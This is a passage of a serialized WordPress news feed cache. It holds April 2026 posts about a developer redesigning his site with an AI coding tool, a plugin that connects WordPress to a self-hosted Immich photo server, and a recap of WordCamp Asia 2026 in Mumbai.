hours";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:26:"https://riad.blog/?p=57250";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:90:"https://riad.blog/2026/04/13/meet-studio-code-i-redesigned-my-wordpress-site-in-a-2-hours/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3204:"<p class="wp-block-paragraph"><strong>The shoemaker’s children go barefoot</strong> or, as we say in French, <strong>Les cordonniers sont toujours les plus mal chaussés. </strong>That’s been me for years. As a developer working on WordPress, I’ve long neglected the design of my site. This ends today.</p>\n\n\n\n<p class="wp-block-paragraph">We’ve recently released a new tool called <strong>Studio Code</strong>, think of it as Claude Code but tailored for WordPress. A tool you can install by running <code>npm -g install wp-studio</code> and invoke using <code>studio code</code> locally. Or you can try directly using <code>npx wp-studio code</code>. I took this as an opportunity to see what it’s capable of, and oh boy! I’m mind-blown 🤯</p>\n\n\n\n<p class="wp-block-paragraph">It took me:</p>\n\n\n\n<ul class="wp-block-list">\n<li>1 tiny prompt to pull the site locally</li>\n\n\n\n<li>1 main redesign prompt and 3 or 4 follow-up prompts to get everything redesigned and sorted out.</li>\n\n\n\n<li>1 last tiny prompt to push the site online</li>\n</ul>\n\n\n\n<p class="wp-block-paragraph">The whole process lasted about a couple of hours during the weekend, while watching yet another <a href="https://www.atptour.com/en/news/alcaraz-sinner-monte-carlo-2026-final" rel="noreferrer noopener" target="_blank">Sinner-Alcaraz</a> match on TV.</p>\n\n\n\n<p class="wp-block-paragraph"><em>(Ok, I’m lying a bit. The push didn’t work the first time because I had discovered a bug that had since been fixed.)</em></p>\n\n\n\n<p class="wp-block-paragraph">There are a lot of things that made the experience so enjoyable for me. I can see myself switching how I work with WordPress sites entirely to this process:</p>\n\n\n\n<ul class="wp-block-list">\n<li>All it took to get access to all my remote sites was to login to <a href="http://wp.com/" rel="noreferrer noopener" target="_blank">WP.com</a> prompted by the tool itself.</li>\n\n\n\n<li>I didn’t have to think much or configure anything. I didn’t have to install any MCP, or provide any specific instructions. It just worked.</li>\n\n\n\n<li>I really enjoyed the feeling of freedom it gives you to iterate on your designs, content, and explore wild ideas. It feels like everything is possible, your ideas are the limit.</li>\n\n\n\n<li>I really enjoyed the safety net of the local development. I can change anything, break whatever I want, yet it’s still local and won’t impact my live site until I decide.</li>\n\n\n\n<li>I literally just said “push my site back to riad.blog” and that was it.</li>\n</ul>\n\n\n\n<p class="wp-block-paragraph">Nonetheless, the tool still has some rough edges, but we’re shipping early and iterating fast. We want you to test it and please share any feedback you have with us. We have a lot of ideas and you can also bring your own, it’s all <a href="https://github.com/Automattic/studio" rel="noreferrer noopener" target="_blank">Open Source</a>.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<p class="wp-block-paragraph">I forgot, what do you think about my new design? I wanted something minimal but gives you a small “hacker” feeling. Don’t be too harsh on me.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 13 Apr 2026 15:48:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"Riad Benguella";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:46;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:62:"Open Channels FM: Collaborative Publishing in Modern WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2551706";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:69:"https://openchannels.fm/collaborative-publishing-in-modern-wordpress/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:189:"Real-time collaboration in WordPress enhances team efficiency by allowing simultaneous editing, though initial limitations exist. Future improvements aim for smoother, scalable experiences.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 13 Apr 2026 12:15:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:47;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:65:"Donncha: Media Picker for Immich: Self-Hosted Photos in WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"https://odd.blog/?p=89592706";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:84:"https://odd.blog/2026/04/12/media-picker-for-immich-self-hosted-photos-in-wordpress/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4160:"<p>I&#8217;ve just released Media Picker for Immich on the WordPress.org plugin directory. It connects WordPress to a self-hosted <a href="https://immich.app/">Immich</a> server so you can browse, search, and insert your photos and videos into posts without copying files around.</p>\n\n\n\n<h3 class="wp-block-heading">Immich</h3>\n\n\n\n<p>I run Immich at home. It&#8217;s where my photos now live. They&#8217;re  organised, searchable, with facial recognition and AI search. My WordPress uploads directory is where photos used to go, and the two never talked to each other. This plugin fixes that.</p>\n\n\n\n<h3 class="wp-block-heading">How it works</h3>\n\n\n\n<p>Point the plugin at your Immich server and give it an API key. You can set a site-wide key or let each user configure their own to connect to their own Immich account.</p>\n\n\n<div class="wp-block-image">\n<figure class="aligncenter size-full"><img alt="Screenshot 1: Settings → Immich:\nServer address and blank site-wide API key, default cache settings" class="wp-image-89592707 not-transparent" height="478" src="https://odd.blog/files/2026/04/immich-settings-page.avif" width="727" /></figure>\n</div>\n\n\n<p>If the site-wide key is blank, each user adds their own key on their profile page. All Immich API calls happen server-side.</p>\n\n\n<div class="wp-block-image">\n<figure class="aligncenter size-full"><img alt="Screenshot 2: User Profile page, Immich API Key field showing *******." class="wp-image-89592708 not-transparent" height="194" src="https://odd.blog/files/2026/04/immich-user-profile-settings.avif" width="607" /></figure>\n</div>\n\n\n<h3 class="wp-block-heading">Two ways to add media</h3>\n\n\n\n<p>Once configured, an Immich tab appears in two places.</p>\n\n\n\n<p>The first is the Media Library grid. Switch to the Immich view and you can search, filter by person, and either Use or Copy assets into WordPress.</p>\n\n\n<div class="wp-block-image">\n<figure class="aligncenter size-full"><img alt="Screenshot 3: Media → Library, Immich view." class="wp-image-89592710 not-transparent" height="717" src="https://odd.blog/files/2026/04/media-picker2-1.avif" width="1385" /></figure>\n</div>\n\n\n<ul class="wp-block-list">\n<li><strong>Use</strong> creates a virtual attachment. Nothing is copied; WordPress proxies the media from Immich on demand and caches it locally on first request. Your uploads directory stays lean.</li>\n\n\n\n<li><strong>Copy</strong> downloads the original file into wp-content/uploads/ as a normal attachment.</li>\n</ul>\n\n\n\n<p>The same tab shows up in the &#8220;Select or Upload Media&#8221; dialog inside the post editor, so you can pull an Immich photo straight into a post without leaving the editor.</p>\n\n\n<div class="wp-block-image">\n<figure class="aligncenter size-full"><img alt="Screenshot 4: Select or Upload Media dialog, Immich tab." class="wp-image-89592711 not-transparent" height="1115" src="https://odd.blog/files/2026/04/media-picker1.avif" width="1369" /></figure>\n</div>\n\n\n<h3 class="wp-block-heading">A few details worth mentioning</h3>\n\n\n\n<ul class="wp-block-list">\n<li>Videos work too. Proxied videos stream with seek support.</li>\n\n\n\n<li>Lightbox. Proxied Immich images in posts open a full-resolution lightbox on click.</li>\n\n\n\n<li>Local cache. Proxied media is cached to wp-content/cache/immich/ after the first fetch. Optional cleanup with a configurable lifetime.</li>\n\n\n\n<li>Your server stays private. Immich only needs to be reachable from WordPress — not from the public internet. Visitors never connect to Immich directly.</li>\n\n\n\n<li>When images are copied over, virtually or otherwise, you can insert them into a post like any other image, which also includes adding them to galleries in posts.</li>\n</ul>\n\n\n\n<h3 class="wp-block-heading">Get it</h3>\n\n\n\n<p>Install it from the <a href="https://wordpress.org/plugins/media-picker-for-immich/">WordPress plugin directory</a> or search for &#8220;media picker for Immich&#8221; in the plugins page in WordPress.</p>\n\n\n\n<p>Feedback and bug reports are welcome. Development is done on GitHub <a href="https://github.com/donnchawp/media-picker-for-immich">here</a>.</p>\n\n#Immich #WordPress #WordPressplugin";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 12 Apr 2026 18:07:25 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:7:"Donncha";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:48;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:63:"WordPress.org blog: Celebrating Community at WordCamp Asia 2026";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:35:"https://wordpress.org/news/?p=20385";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:59:"https://wordpress.org/news/2026/04/celebrating-wcasia-2026/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:27872:"<p class="wp-block-paragraph">WordCamp Asia 2026 brought the global WordPress community to Mumbai, India, from April 9–11, gathering contributors, organizers, sponsors, speakers, and attendees at the Jio World Convention Centre for three days of learning, collaboration, and community. With 2,627 attendees, the event reflected the scale of the WordPress community and the strong turnout throughout the event.</p>\n\n\n\n<p class="wp-block-paragraph">The event unfolded across Contributor Day and two conference days, with a program that moved from technical sessions and workshops to hallway conversations, shared meals, and joyful moments of connection across the venue. From first-time attendees to longtime contributors, WordCamp Asia 2026 reflected the breadth of the WordPress ecosystem and the many ways people shaped and sustained it.</p>\n\n\n\n<div class="wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-7387b849 wp-block-group-is-layout-flex">\n<figure class="wp-block-pullquote"><blockquote><p><br />WordPress is not a company. It is a shared commitment to keeping the web open.</p><cite>Mary Hubbard, Executive Director, WordPress</cite></blockquote></figure>\n</div>\n\n\n\n<p class="wp-block-paragraph">Throughout the event, WordCamp Asia 2026 balanced formal programming with the conversations happening around it. Sessions and workshops set the pace, while morning networking, tea breaks, lunch, the family photo, the sponsor’s raffle, and the after party in Jasmine Hall helped make the event feel welcoming, social, and connected.<br /></p>\n\n\n\n<h2 class="wp-block-heading">How WordCamp Asia 2026 Took Shape</h2>\n\n\n\n<p class="wp-block-paragraph">Bringing together contribution, practical learning, and forward-looking conversation in one shared program. Across Contributor Day and the conference sessions that followed, attendees moved between hands-on work, technical talks, workshops, and broader discussions about AI, education, enterprise, community growth, and the open web.</p>\n\n\n\n<p class="wp-block-paragraph">The result was a WordCamp that felt expansive without losing its sense of connection. Different rooms with topics as themes, helping different audiences, and different forms of participation all fed into the same larger picture: a community actively building what comes next for WordPress as a feeling that something bigger was happening: not just a schedule being delivered, but a community showing up for one another and for the future of WordPress.</p>\n\n\n\n<h2 class="wp-block-heading">Contributor Day: Building WordPress Together</h2>\n\n\n\n<p class="wp-block-paragraph">Contributor Day opened WordCamp Asia 2026 with one of the clearest expressions of what makes the project special: people coming together to move WordPress forward by working on it. More than 1,500 participants joined 38 table leads across more than 20 contribution tables, creating a day that was expansive in scale and grounded in real work. For some, it was a return to familiar teams and longtime collaborators. For others, it was the beginning of their contributor journey.</p>\n\n\n\n<p class="wp-block-paragraph">The day moved between structured learning and hands-on participation. Alongside contributor sessions, attendees joined workshops, visited the <a href="https://asia.wordcamp.org/2026/contributor-day/open-source-library/">Open Source Library</a>, took part in <a href="https://asia.wordcamp.org/2026/youthcamp-is-back-at-wordcamp-asia-2026/">YouthCamp</a>, and attended <em>The Making of a WordPress Release: Conversations with Past Release Squad Members</em>, a featured panel that added depth and perspective to the work of building and sustaining WordPress.</p>\n\n\n\n<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">\n\n</div></figure>\n\n\n\n<p class="wp-block-paragraph">What made Contributor Day stand out was not only the number of people in the room, but the range of ways they could take part. Workshops created space for skill-building. YouthCamp brought younger participants into the experience and widened the event’s reach in a meaningful way. The day felt welcoming, energetic, and full of possibility.</p>\n\n\n\n<p class="wp-block-paragraph">By the end, the impact was already visible across teams. Polyglots contributors suggested more than 7,000 strings and reviewed 3,200 of them. Photo contributors uploaded 76 images. The Test team worked on more than 20 tickets, and 55 contributors joined Training. Those numbers told only part of the story, but they pointed to what Contributor Day continued to do so well: turn a large gathering into shared work that strengthened the project in real time.</p>\n\n\n\n<figure class="wp-block-gallery has-nested-images columns-default is-cropped has-black-background-color has-background wp-block-gallery-5 is-layout-flex wp-block-gallery-is-layout-flex" style="border-width: 20px; border-radius: 2px;">\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20392" height="1024" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSC08818.jpg?resize=683%2C1024&#038;ssl=1" width="683" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20390" height="1024" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSC08792-2.jpg?resize=683%2C1024&#038;ssl=1" width="683" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20391" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSCF0468.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20393" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_1085.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20394" height="575" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_0106.jpg?resize=1024%2C575&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20395" height="576" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSC04422.jpg?resize=1024%2C576&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20396" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSC08957.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20397" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSC08902.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20399" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSCF0500-1.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20400" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_9404.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20401" height="1024" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_0682.jpg?resize=768%2C1024&#038;ssl=1" width="768" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20398" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSC08899.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20389" height="536" src="https://i0.wp.com/wordpress.org/news/files/2026/04/FamilyPhoto-Framed.png?resize=1024%2C536&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n</figure>\n\n\n\n<h2 class="wp-block-heading">Conference Sessions Take Shape</h2>\n\n\n\n<p class="wp-block-paragraph">Across the conference days, WordCamp Asia 2026 covered a wide range of topics, from technical development and hands-on workshops to business strategy and the open web. Sessions took place across the Foundation, Growth, and Enterprise tracks, with workshops running alongside the main program.</p>\n\n\n\n<p class="wp-block-paragraph">One of the opening sessions was James LePage’s <em>WordPress and AI</em>, which introduced a theme that appeared throughout the conference: how WordPress is responding to changes in AI, publishing, and developer workflows. That topic continued in later sessions focused on AI-driven development, autonomous testing, plugin maintenance, and automation.</p>\n\n\n\n<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">\n\n</div></figure>\n\n\n\n<p class="wp-block-paragraph">Later that morning, a fireside chat with Mary Hubbard and Shilpa Shah shifted the focus toward trust, security, and the longer-term questions shaping open source publishing. Coming early in the program, the conversation gave the conference an important center of gravity, pairing technical change with questions of stewardship, resilience, and what people needed from WordPress as the web continued to evolve. Rather than pulling away from the event’s technical momentum, it deepened it, bringing a human perspective to the pace of change and reminding the audience that progress in open source is not only about what gets built, but about how communities guide, challenge, and sustain that work over time.<br /></p>\n\n\n\n<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">\n\n</div></figure>\n\n\n\n<p class="wp-block-paragraph">From there, the conference widened into a program that balanced developer-focused talks with sessions on the <a href="https://asia.wordcamp.org/2026/session/from-static-to-dynamic-mastering-the-interactivity-api/">Interactivity API</a>, the <a href="https://asia.wordcamp.org/2026/session/parsing-html-without-pain-real-world-use-cases-for-wordpress-html-api/">HTML API</a>, <a href="https://asia.wordcamp.org/2026/session/building-better-wordpress-experiences-with-ai-driven-development-workflows/">AI-driven development workflows</a>, <a href="https://asia.wordcamp.org/2026/session/education-initiatives-in-the-wordpress-ecosystem/">education initiatives</a>, <a href="https://asia.wordcamp.org/2026/session/from-reactive-to-proactive-modern-observability-for-wordpress/">observability</a>, <a href="https://asia.wordcamp.org/2026/session/ten-times-the-value-why-automation-is-worth-the-investment-in-open-source/">automation</a>, and <a href="https://asia.wordcamp.org/2026/session/wordpress-for-startup-founders-the-advantages-are-real-and-so-are-the-traps/">startup strategy</a>. On the final day, those threads continued through talks on <a href="https://asia.wordcamp.org/2026/session/the-invisible-gotchas-of-wp-translation/">WP translation</a>, <a href="https://asia.wordcamp.org/2026/session/building-wordpress-communities-the-ugandan-story/">community building</a>, <a href="https://asia.wordcamp.org/2026/session/wordpress-playground-ai-building-autonomous-testing-pipelines/">WordPress Playground</a>, <a href="https://asia.wordcamp.org/2026/session/wordpress-org-analytics-data-engineering-starter-project/">data engineering</a>, <a href="https://asia.wordcamp.org/2026/session/enterprise-wordpress-isnt-just-bigger-wordpress-lessons-from-the-field/">enterprise WordPress</a>, 